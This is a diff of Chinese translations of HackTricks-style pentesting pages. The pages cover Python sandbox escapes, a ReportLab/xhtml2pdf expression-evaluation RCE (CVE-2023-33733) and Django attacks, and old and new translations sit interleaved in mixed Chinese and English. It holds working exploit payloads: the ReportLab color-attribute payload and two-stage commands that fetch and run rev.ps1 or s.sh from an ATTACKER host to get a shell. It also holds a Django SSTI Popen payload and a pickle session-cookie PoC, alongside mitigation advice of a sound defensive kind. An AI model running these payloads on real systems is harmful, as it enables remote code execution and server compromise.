在 [**Python execution without calls**](#python-execution-without-calls) 部分中还有更多类似的内容。
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
Python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法`'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\
然而,可以使用 `[]`。因此,如果一个常见的 Python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码,则可以利用它们来获得 RCE。
python 的 format string 漏洞不允许直接执行函数(不允许使用圆括号),因此不能`'{0.system("/bin/sh")}'.format(os)` 那样直接获得 RCE。\
但是,可以使用 `[]`。因此,如果某个常见的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们来获取 RCE。
在 Python 中寻找这样的 gadget写作中提供了这个 [**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在这里找到了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -765,18 +773,18 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
这个工具允许**从磁盘加载库**。因此,需要以某种方式**写入或上传库**,以便正确编译到被攻击的服务器
该 gadget 允许 **从磁盘加载库**。因此,需要以某种方式**将要加载的库正确编译后写入或上传**到被攻击的服务器上
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
挑战实际上利用了服务器中的另一个漏洞,该漏洞允许在服务器磁盘上创建任意文件。
挑战实际上利用了服务器中的另一个漏洞,该漏洞允许在服务器磁盘上创建任意文件。
## 解 Python 对象
## 解 Python 对象
> [!TIP]
> 如果你想深入**了解** **python 字节码**,请阅读这篇关于该主题的**精彩**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> 如果你想深入**学习** **python bytecode**,请阅读这篇**精彩**的文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
一些 CTF 中,你可能会被提供一个**自定义函数的名称,其中包含标志**,你需要查看**函数**的**内部**以提取它。
某些 CTFs 中,你可能会被提供一个**自定义函数flag 所在处)**的名称,你需要查看该**函数**的**内部**来提取它。
这是要检查的函数:
```python
@ -798,7 +806,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` `func_globals`(相同)获取全局环境。在示例中,您可以看到一些导入的模块、一些全局变量及其声明的内容:
`__globals__` and `func_globals`(相同)用于获取全局环境。在示例中你可以看到一些已导入的模块、一些全局变量及其声明的内容:
```python
get_flag.func_globals
get_flag.__globals__
@ -807,11 +815,11 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**查看这里获取全局变量的更多地方**](#globals-and-locals)
[**See here more places to obtain globals**](#globals-and-locals)
### **访问函数代码**
**`__code__`** `func_code`:您可以 **访问** 这个 **属性** **获取函数的代码对象**
**`__code__`** and `func_code`: 您可以 **访问** 函数的这个 **属性** **获取函数的代码对象**
```python
# In our current example
get_flag.__code__
@ -871,7 +879,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **反汇编一个函数**
### **反汇编函数**
```python
import dis
dis.dis(get_flag)
@ -899,7 +907,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
注意,如果**您无法在python沙箱中导入`dis`**,您可以获取函数的**字节码**`get_flag.func_code.co_code`)并在本地**反汇编**它。您将看不到正在加载的变量的内容(`LOAD_CONST`),但您可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉正在加载的变量的偏移量
注意,**if you cannot import `dis` in the python sandbox**,你可以获得该函数的 **bytecode** (`get_flag.func_code.co_code`) 并在本地**disassemble**它。你不会看到被加载变量的内容(`LOAD_CONST`),但你可以从 (`get_flag.func_code.co_consts`) 猜出它们,因为 `LOAD_CONST` 也会告诉被加载变量的偏移
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -923,8 +931,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## 编译 Python
现在,让我们想象一下,您可以以某种方式**转储您无法执行的函数的信息**,但您**需要**去**执行**它。\
就像在以下示例中,您**可以访问该函数的代码对象**,但仅通过读取反汇编,您**不知道如何计算标志**_想象一个更复杂的 `calc_flag` 函数_
现在,假设你以某种方式可以 **dump 一个你无法执行的函数的信息**,但你**需要**去**执行**它。\
就像下面的示例,你**可以访问该函数的 code object**,但仅通过查看 disassemble 你**不知道如何计算 flag**_想象一个更复杂的 `calc_flag` function_
```python
def get_flag(some_input):
var1=1
@ -937,9 +945,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### 创建代码对象
### 创建 code object
首先,我们需要知道 **如何创建和执行代码对象**,以便我们可以创建一个来执行我们的函数泄漏:
首先,我们需要知道 **how to create and execute a code object**,这样我们就可以创建一个来执行我们泄露的 function leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -959,7 +967,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> 根据 Python 版本,`code_type`**参数** 可能有 **不同的顺序**。了解您正在运行的 Python 版本中参数的顺序的最佳方法是运行:
> 根据你运行的 python 版本,`code_type`**参数** 可能有 **不同的顺序**。确定你所运行的 python 版本中参数顺序的最佳方法是运行:
>
> ```
> import types
@ -967,10 +975,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### 重新创建一个泄露的函数
### 重新创建一个 leaked 函数
> [!WARNING]
> 在以下示例中,我们将直接从函数代码对象中获取重新创建函数所需的所有数据。在 **真实示例** 中,执行函数 **`code_type`** 所需的 **值****您需要泄露的内容**
> 在下面的示例中,我们将直接从函数的 code 对象获取重新创建该函数所需的所有数据。在一个 **真实的示例** 中,执行函数 **`code_type`** 所需的所有 **values** 就是你将需要 leak 的内容
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -983,10 +991,9 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### 绕过防御
在本文开头的前几个示例中,您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以 **在一行中执行整个脚本**,包括循环等(我们也可以使用 **`exec`** 做同样的事情)。\
无论如何,有时在本地机器上 **创建** 一个 **编译对象** 并在 **CTF 机器** 上执行它可能是有用的(例如,因为我们在 CTF 中没有 `compiled` 函数)。
在本文开头的示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有趣,因为你可以在 **一行****执行整个脚本**,包括循环等(我们也可以用 **`exec`** 达到同样效果)。\\\不过,有时在本地机器上**创建**一个**已编译对象**并在**CTF 机器**上执行会很有用(例如因为我们在 CTF 中没有 `compiled` 函数)。
例如,我们手动编译并执行一个读取 _./poc.py_ 的函数:
例如,下面我们手动编译并执行一个读取 _./poc.py_ 的函数:
```python
#Locally
def read():
@ -1013,7 +1020,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
如果您无法访问 `eval``exec`,您可以创建一个 **适当的函数**但直接调用它通常会失败错误信息为_在受限模式下构造函数不可访问_。因此您需要一个 **不在受限环境中的函数来调用此函数。**
如果你无法访问 `eval``exec`,你可以创建一个**正确的函数**但直接调用它通常会因为_constructor not accessible in restricted mode_ 而失败。因此你需要一个**不在受限环境中的函数来调用该函数。**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1023,20 +1030,21 @@ f(42)
```
## 反编译已编译的 Python
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以 **反编译** 给定的已编译 Python 代码。
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以**反编译**给定的已编译 python 代码。
**查看本教程**
**查看这个教程**
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
## 其他 Python
## 杂项 Python
### 断言
### Assert
使用参数 `-O` 执行的 Python 将删除断言语句和任何依赖于 **debug** 值的代码。\
因此,像这样的检查
以参数 `-O` 在优化模式下执行的 Python 会移除 `assert` 语句以及任何基于 **debug** 值的条件代码。\
因此,像下面这样的检查
```python
def check_permission(super_user):
try:
@ -1047,7 +1055,7 @@ print(f"\nNot a Super User!!!\n")
```
将被绕过
## 参考文献
## 参考资料
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
@ -1055,5 +1063,8 @@ print(f"\nNot a Super User!!!\n")
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
- [0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,79 @@
# ReportLab/xhtml2pdf [[[...]]] 表达式求值 RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
本页记录了一个在 ReportLab 的 rl_safe_eval 中的实用沙箱逃逸和 RCE 原语,该函数被 xhtml2pdf 及其他将用户可控 HTML 渲染为 PDF 的流水线所使用。
CVE-2023-33733 影响 ReportLab 直到并包括 3.6.12 的版本。在某些属性上下文(例如 color包裹在三重方括号 [[[ ... ]]] 的值会被 rl_safe_eval 在服务器端求值。通过构造一个从被列入白名单的 builtinpow枢纽到其 Python 函数 globals 的有效负载,攻击者可以到达 os 模块并执行命令。
关键点
- 触发:向由 ReportLab/xhtml2pdf 解析的标记中被求值的属性(例如 <font color="...">)注入 [[[ ... ]]]。
- 沙箱rl_safe_eval 会替换危险的 builtins但已求值的函数仍然暴露 __globals__
- 绕过:构造一个瞬态类 Word 来绕过 rl_safe_eval 的名称检查并访问字符串 "__globals__",同时避免被阻止的 dunder 过滤。
- RCEgetattr(pow, Word("__globals__"))["os"].system("<cmd>")
- 稳定性:执行后为属性返回一个有效值(对于 color使用 and 'red')。
测试时机
- 暴露 HTML-to-PDF 导出(用户资料、发票、报告)并在 PDF 元数据或 HTTP 响应注释中显示 xhtml2pdf/ReportLab 的应用。
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- PDF 的 HTTP 响应通常以 ReportLab 的 generator 注释开头
沙箱绕过工作原理
- rl_safe_eval 删除或替换了许多 builtingetattr, type, pow, ...)并对名称应用过滤以拒绝以 __ 开头或在 denylist 中的属性。
- 然而,安全函数存在于可被访问的 func.__globals__ 的 globals 字典中。
- 使用 type(type(1)) 恢复真实的内建 type 函数(绕过 ReportLab 的包装),然后定义一个从 str 派生的 Word 类并修改比较行为,使得:
- .startswith('__') → 始终 False绕过 name startswith('__') 检查)
- .__eq__ 在第一次比较时返回 False绕过 denylist 成员检查),之后返回 True使 Python getattr 工作)
- .__hash__ 等于 hash(str(self))
- 这样getattr(pow, Word('__globals__')) 返回被包装的 pow 函数的 globals 字典,其中包含导入的 os 模块。然后:['os'].system('<cmd>')。
最小利用模式(属性示例)
将有效负载放在被求值的属性中,并确保通过布尔与 'red' 返回一个有效的属性值。
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- 列表推导式形式允许单一表达式被 rl_safe_eval 接受。
- 尾部的 and 'red' 返回一个有效的 CSS 颜色,使渲染不出错。
- 根据需要替换命令;使用 ping 并配合 tcpdump 验证执行。
操作流程
1) 识别 PDF 生成器
- PDF Producer 显示 xhtml2pdfHTTP 响应包含 ReportLab 注释。
2) 找到被反射到 PDF 的输入(例如资料简介/描述)并触发导出。
3) 使用低噪声 ICMP 验证执行
- 运行sudo tcpdump -ni <iface> icmp
- 有效负载:... system('ping <your_ip>') ...
- Windows 通常默认发送恰好四个 echo 请求。
4) 建立 shell
- 对于 Windows可靠的两阶段方法可以避免引用/编码问题:
- 阶段 1下载
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- 阶段 2执行
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- 对于 Linux 目标,可以使用类似的 curl/wget 两阶段:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
注意事项和提示
- 属性上下文color 是已知的被求值属性ReportLab 标记中的其他属性也可能会求值。如果某个位置被消毒,尝试渲染到 PDF 流中的其他位置(不同字段、表格样式等)。
- 引用:保持命令简洁。两阶段下载大大减少引用和转义的问题。
- 可靠性:如果导出被缓存或排队,稍微改变有效负载(例如随机路径或查询)以避免命中缓存。
缓解与检测
- 升级 ReportLab 至 3.6.13 或更高版本CVE-2023-33733 已修复)。同时关注发行版包的安全公告。
- 不要在未经严格清理的情况下将用户可控的 HTML/标记直接输入到 xhtml2pdf/ReportLab。对于不受信任的输入移除/拒绝 [[[...]]] 求值构造和厂商特定标签。
- 考虑对不受信任输入完全禁用或包装 rl_safe_eval 的使用。
- 在 PDF 生成期间监视可疑的出站连接(例如导出文档时应用服务器发出的 ICMP/HTTP
参考资料
- PoC 与技术分析: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up真实世界利用Windows 两阶段有效负载):[HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD 条目(受影响版本):[CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf 文档(标记/页面 概念):[xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,49 +2,58 @@
{{#include ../../banners/hacktricks-training.md}}
## 缓存操控到 RCE
Django 的默认缓存存储方法是 [Python pickles](https://docs.python.org/3/library/pickle.html),如果 [不受信任的输入被反序列化](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)可能导致 RCE。**如果攻击者能够获得对缓存的写入访问权限,他们可以将此漏洞升级为底层服务器的 RCE**
## Cache Manipulation to RCE
Django 的默认缓存存储方式是 [Python pickles](https://docs.python.org/3/library/pickle.html),如果对 [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) 可能导致 RCE。**如果攻击者能够获得对缓存的写权限,他们可以将此漏洞升级为底层服务器的 RCE**
Django 缓存存储在四个地方之一:[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[内存](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[文件](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) 或 [数据库](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。存储在 Redis 服务器或数据库中的缓存是最可能的攻击向量Redis 注入和 SQL 注入),但攻击者也可能利用基于文件的缓存将任意写为 RCE。维护者已将此标记为非问题。需要注意的是缓存文件夹、SQL 表名和 Redis 服务器的详细信息将根据实现而有所不同
Django 的缓存存储在四种地方之一:[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16),或一个 [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。存储在 Redis 或 database 的缓存是最可能的攻击向量Redis 注入和 SQL 注入),但攻击者也可能利用基于文件的缓存将任意写转为 RCE。维护者已将此标记为非问题。需要注意的是缓存文件夹、SQL 表名和 Redis 服务的详细信息会根据实现而变化
此 HackerOne 报告提供了一个很好的、可重现的利用 Django 缓存存储在 SQLite 数据库中的示例https://hackerone.com/reports/1415436
这份 HackerOne 报告提供了一个很好的、可重现的示例,展示了如何利用存储在 SQLite database 中的 Django 缓存https://hackerone.com/reports/1415436
---
## 服务器端模板注入 (SSTI)
Django 模板语言 (DTL) 是 **图灵完备** 的。如果用户提供的数据被渲染为 *模板字符串*(例如通过调用 `Template(user_input).render()` 或当 `|safe`/`format_html()` 移除自动转义时),攻击者可能会实现完整的 SSTI → RCE。
## Server-Side Template Injection (SSTI)
The Django Template Language (DTL) 是 **图灵完备** 的。如果将用户提供的数据以 *template string* 的形式渲染(例如通过调用 `Template(user_input).render()`,或当 `|safe`/`format_html()` 去除了自动转义时),攻击者可能实现完整的 SSTI → RCE。
### 检测
1. 查找对 `Template()` / `Engine.from_string()` / `render_to_string()` 的动态调用,这些调用包含 *任何*经过滤的请求数据。
2. 发送基于时间或算术的有效负载
1. 查找对 `Template()` / `Engine.from_string()` / `render_to_string()` 的动态调用,这些调用包含 *任何*消毒的请求数据。
2. 发送基于时间或算术的 payload
```django
{{7*7}}
```
如果渲染输出包含 `49`,则输入被模板引擎编译。
如果渲染输出包含 `49`,则输入被模板引擎编译。
### 原语到 RCE
Django 阻止对 `__import__` 的直接访问,但 Python 对象图是可达的:
### 通往 RCE 的原语
Django 阻止`__import__` 的直接访问,但 Python 对象图是可以到达的:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
找到 `subprocess.Popen` 的索引(约400-500具体取决于Python构建并执行任意命令
找到 `subprocess.Popen` 的索引(取决于 Python 构建,大约 400500并执行任意命令:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
一个更安全的通用小工具是迭代直到 `cls.__name__ == 'Popen'`
更安全的通用 gadget 是迭代直到 `cls.__name__ == 'Popen'`
同样的小工具适用于 **Debug Toolbar****Django-CMS** 模板渲染功能,这些功能错误处理用户输入
相同的 gadget 也适用于 **Debug Toolbar****Django-CMS** 的模板渲染功能,这些功能不当处理用户输入时
---
## 基于 Pickle 的会话 Cookie RCE
如果设置 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` 被启用(或自定义反序列化 pickle 的序列化器Django *在* 调用任何视图代码 **之前** 解密并反序列化会话 Cookie。因此拥有有效的签名密钥默认情况下是项目的 `SECRET_KEY`)足以实现立即的远程代码执行。
### 另见ReportLab/xhtml2pdf PDF export RCE
基于 Django 的应用通常集成 xhtml2pdf/ReportLab 来将视图导出为 PDF。当受用户控制的 HTML 流入 PDF 生成时rl_safe_eval 可能会评估三重括号 `[[[ ... ]]]` 内的表达式,从而允许代码执行 (CVE-2023-33733)。详情、payloads 和缓解措施:
### 利用要求
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
---
## Pickle-Backed Session Cookie RCE
If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution.
### Exploit Requirements
* 服务器使用 `PickleSerializer`
* 攻击者知道/可以猜测 `settings.SECRET_KEY`(通过 GitHub、`.env`、错误页面等泄露)。
* 攻击者知道 / 能猜到 `settings.SECRET_KEY`leaks via GitHub、`.env`、错误页面等)。
### 概念验证
### Proof-of-Concept
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
发送结果 cookie并且有效负载以 WSGI worker 的权限运行。
发送生成的 cookiepayload 将以 WSGI worker 的权限运行。
**缓解措施**:保持默认的 `JSONSerializer`,轮换 `SECRET_KEY`,并配置 `SESSION_COOKIE_HTTPONLY`
---
## 最近2023-2025高影响力 Django CVE 渗透测试人员应检查
* **CVE-2025-48432** *通过未转义的 `request.path` 进行日志注入*(修复于 2025 年 6 月 4 日)。允许攻击者将换行符/ANSI 代码注入日志文件,并污染下游日志分析。补丁级别 ≥ 4.2.22 / 5.1.10 / 5.2.2。
* **CVE-2024-42005** *在 `JSONField` 上的 `QuerySet.values()/values_list()` 中的严重 SQL 注入*CVSS 9.8)。构造 JSON 键以突破引号并执行任意 SQL。修复于 4.2.15 / 5.0.8
## 最近2023-2025对 Pentesters 有重大影响的 Django CVEs
* **CVE-2025-48432** *Log Injection via unescaped `request.path`* (已修复于 2025 年 6 月 4 日)。允许攻击者将换行符/ANSI 代码走私到日志文件中,并污染下游的日志分析。修补级别 ≥ 4.2.22 / 5.1.10 / 5.2.2。
* **CVE-2024-42005** *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8)。通过构造 JSON 键来突破引号并执行任意 SQL。已在 4.2.15 / 5.0.8 中修复
始终通过 `X-Frame-Options` 错误页面或 `/static/admin/css/base.css` 哈希指纹识别确切的框架版本,并在适用时测试上述内容
始终通过 `X-Frame-Options` 错误页面或 `/static/admin/css/base.css` 哈希指纹识别确切的框架版本,并在适用时测试上述问题
---
## 参考
* Django 安全发布 "Django 5.2.2, 5.1.10, 4.2.22 解决 CVE-2025-48432" 2025 年 6 月 4 日。
* OP-Innovate: "Django 发布安全更新以解决 SQL 注入缺陷 CVE-2024-42005" 2024 年 8 月 11 日。
## 参考资料
* Django 安全公告 "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 4 Jun 2025.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" 11 Aug 2024.
* 0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../banners/hacktricks-training.md}}